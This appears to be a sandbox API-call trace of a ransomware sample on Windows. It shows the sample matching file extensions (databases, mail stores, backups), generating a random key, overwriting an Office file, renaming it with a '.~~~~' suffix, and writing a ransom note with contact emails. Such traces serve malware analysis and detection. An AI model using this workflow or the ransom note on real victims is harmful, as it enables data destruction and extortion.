	[0140.148] lstrlenW (lpString=".pif") returned 4
	[0140.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".pif") returned 0x0
	[0140.148] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.150] lstrlenW (lpString=".sqb") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".sqb") returned 0x0
	[0140.150] lstrlenW (lpString=".ost") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".ost") returned 0x0
	[0140.150] lstrlenW (lpString=".txt") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".txt") returned 0x0
	[0140.150] lstrlenW (lpString=".mdt") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".mdt") returned 0x0
	[0140.150] lstrlenW (lpString=".BDB") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".BDB") returned 0x0
	[0140.150] lstrlenW (lpString=".eql") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".eql") returned 0x0
	[0140.150] lstrlenW (lpString=".DBF") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DBF") returned 0x0
	[0140.150] lstrlenW (lpString=".EQL") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".EQL") returned 0x0
	[0140.150] lstrlenW (lpString=".FDB") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".FDB") returned 0x0
	[0140.150] lstrlenW (lpString=".EDB") returned 4
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".EDB") returned 0x0
	[0140.150] lstrlenW (lpString=".DACPAC") returned 7
	[0140.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.151] lstrlenW (lpString=".VHD") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".VHD") returned 0x0
	[0140.151] lstrlenW (lpString=".DBV") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DBV") returned 0x0
	[0140.151] lstrlenW (lpString=".dacpac") returned 7
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dacpac") returned 0x0
	[0140.151] lstrlenW (lpString=".sdf") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".sdf") returned 0x0
	[0140.151] lstrlenW (lpString=".accdb") returned 6
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".accdb") returned 0x0
	[0140.151] lstrlenW (lpString=".DBX") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DBX") returned 0x0
	[0140.151] lstrlenW (lpString=".MDT") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".MDT") returned 0x0
	[0140.151] lstrlenW (lpString=".SQB") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".SQB") returned 0x0
	[0140.151] lstrlenW (lpString=".vhd") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".vhd") returned 0x0
	[0140.151] lstrlenW (lpString=".bac") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".bac") returned 0x0
	[0140.151] lstrlenW (lpString=".mdf") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".mdf") returned 0x0
	[0140.151] lstrlenW (lpString=".BAK") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".BAK") returned 0x0
	[0140.151] lstrlenW (lpString=".BAC") returned 4
	[0140.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".BAC") returned 0x0
	[0140.151] lstrlenW (lpString=".dbs") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dbs") returned 0x0
	[0140.152] lstrlenW (lpString=".vhdx") returned 5
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".vhdx") returned 0x0
	[0140.152] lstrlenW (lpString=".NDF") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".NDF") returned 0x0
	[0140.152] lstrlenW (lpString=".dat") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dat") returned 0x0
	[0140.152] lstrlenW (lpString=".DBS") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DBS") returned 0x0
	[0140.152] lstrlenW (lpString=".CKP") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".CKP") returned 0x0
	[0140.152] lstrlenW (lpString=".edb") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".edb") returned 0x0
	[0140.152] lstrlenW (lpString=".PST") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".PST") returned 0x0
	[0140.152] lstrlenW (lpString=".dbf") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dbf") returned 0x0
	[0140.152] lstrlenW (lpString=".SQL") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".SQL") returned 0x0
	[0140.152] lstrlenW (lpString=".pst") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".pst") returned 0x0
	[0140.152] lstrlenW (lpString=".dbv") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dbv") returned 0x0
	[0140.152] lstrlenW (lpString=".SDF") returned 4
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".SDF") returned 0x0
	[0140.152] lstrlenW (lpString=".dtxs") returned 5
	[0140.152] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dtxs") returned 0x0
	[0140.152] lstrlenW (lpString=".db3") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".db3") returned 0x0
	[0140.153] lstrlenW (lpString=".OST") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".OST") returned 0x0
	[0140.153] lstrlenW (lpString=".dbx") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dbx") returned 0x0
	[0140.153] lstrlenW (lpString=".DB3") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DB3") returned 0x0
	[0140.153] lstrlenW (lpString=".DAT") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DAT") returned 0x0
	[0140.153] lstrlenW (lpString=".VHDX") returned 5
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".VHDX") returned 0x0
	[0140.153] lstrlenW (lpString=".ndf") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".ndf") returned 0x0
	[0140.153] lstrlenW (lpString=".DB") returned 3
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DB") returned 0x0
	[0140.153] lstrlenW (lpString=".sql") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".sql") returned 0x0
	[0140.153] lstrlenW (lpString=".MYD") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".MYD") returned 0x0
	[0140.153] lstrlenW (lpString=".DBT") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DBT") returned 0x0
	[0140.153] lstrlenW (lpString=".ACCDB") returned 6
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.153] lstrlenW (lpString=".fdb") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".fdb") returned 0x0
	[0140.153] lstrlenW (lpString=".bak") returned 4
	[0140.153] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".bak") returned 0x0
	[0140.154] lstrlenW (lpString=".myd") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".myd") returned 0x0
	[0140.154] lstrlenW (lpString=".DTXS") returned 5
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".DTXS") returned 0x0
	[0140.154] lstrlenW (lpString=".ckp") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".ckp") returned 0x0
	[0140.154] lstrlenW (lpString=".dbt") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dbt") returned 0x0
	[0140.154] lstrlenW (lpString=".db") returned 3
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".db") returned 0x0
	[0140.154] lstrlenW (lpString=".TXT") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".TXT") returned 0x0
	[0140.154] lstrlenW (lpString=".MDF") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".MDF") returned 0x0
	[0140.154] lstrlenW (lpString=".bdb") returned 4
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".bdb") returned 0x0
	[0140.154] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.154] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.154] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.155] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.156] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.156] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26014592391) returned 1
	[0140.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbcf37d50, dwHighDateTime=0x1d60e1e)) 
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d538
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d538 | out: hHeap=0x300000) returned 1
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38d968
	[0140.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0140.157] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.157] GetLastError () returned 0x0
	[0140.157] GetLastError () returned 0x0
	[0140.157] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.157] GetLastError () returned 0x0
	[0140.157] GetLastError () returned 0x0
	[0140.158] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.161] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.161] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0140.163] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.163] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.163] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.163] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.163] CloseHandle (hObject=0x138) returned 1
	[0140.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38d968
	[0140.163] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css.~~~~")) returned 1
	[0140.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0140.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.166] GetLastError () returned 0x0
	[0140.166] RtlWakeConditionVariable () returned 0x0
	[0140.166] GetCurrentThreadId () returned 0x9cc
	[0140.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.168] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0140.168] WriteFile (in: hFile=0x138, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0140.170] CloseHandle (hObject=0x138) returned 1
	[0140.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dc08 | out: hHeap=0x300000) returned 1
	[0140.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0140.170] RtlWakeConditionVariable () returned 0x365f70
	[0140.170] GetCurrentThreadId () returned 0x9cc
	[0140.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".scr") returned 0x0
	[0140.170] lstrlenW (lpString=".cmd") returned 4
	[0140.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".cmd") returned 0x0
	[0140.170] lstrlenW (lpString=".dll") returned 4
	[0140.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".dll") returned 0x0
	[0140.170] lstrlenW (lpString=".bat") returned 4
	[0140.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".bat") returned 0x0
	[0140.171] lstrlenW (lpString=".cpl") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".cpl") returned 0x0
	[0140.171] lstrlenW (lpString=".sys") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".sys") returned 0x0
	[0140.171] lstrlenW (lpString=".msc") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".msc") returned 0x0
	[0140.171] lstrlenW (lpString=".com") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".com") returned 0x0
	[0140.171] lstrlenW (lpString=".lnk") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".lnk") returned 0x0
	[0140.171] lstrlenW (lpString=".msp") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".msp") returned 0x0
	[0140.171] lstrlenW (lpString=".pif") returned 4
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".pif") returned 0x0
	[0140.171] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch="msp\r\n.pif") returned 0x0
	[0140.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\papers.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.278] lstrlenW (lpString=".sqb") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".sqb") returned 0x0
	[0140.278] lstrlenW (lpString=".ost") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".ost") returned 0x0
	[0140.278] lstrlenW (lpString=".txt") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".txt") returned 0x0
	[0140.278] lstrlenW (lpString=".mdt") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".mdt") returned 0x0
	[0140.278] lstrlenW (lpString=".BDB") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".BDB") returned 0x0
	[0140.278] lstrlenW (lpString=".eql") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".eql") returned 0x0
	[0140.278] lstrlenW (lpString=".DBF") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".DBF") returned 0x0
	[0140.278] lstrlenW (lpString=".EQL") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".EQL") returned 0x0
	[0140.278] lstrlenW (lpString=".FDB") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".FDB") returned 0x0
	[0140.278] lstrlenW (lpString=".EDB") returned 4
	[0140.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PAPERS.INI", lpSrch=".EDB") returned 0x0
	[0140.278] lstrlenW (lpString=".DACPAC") returned 7
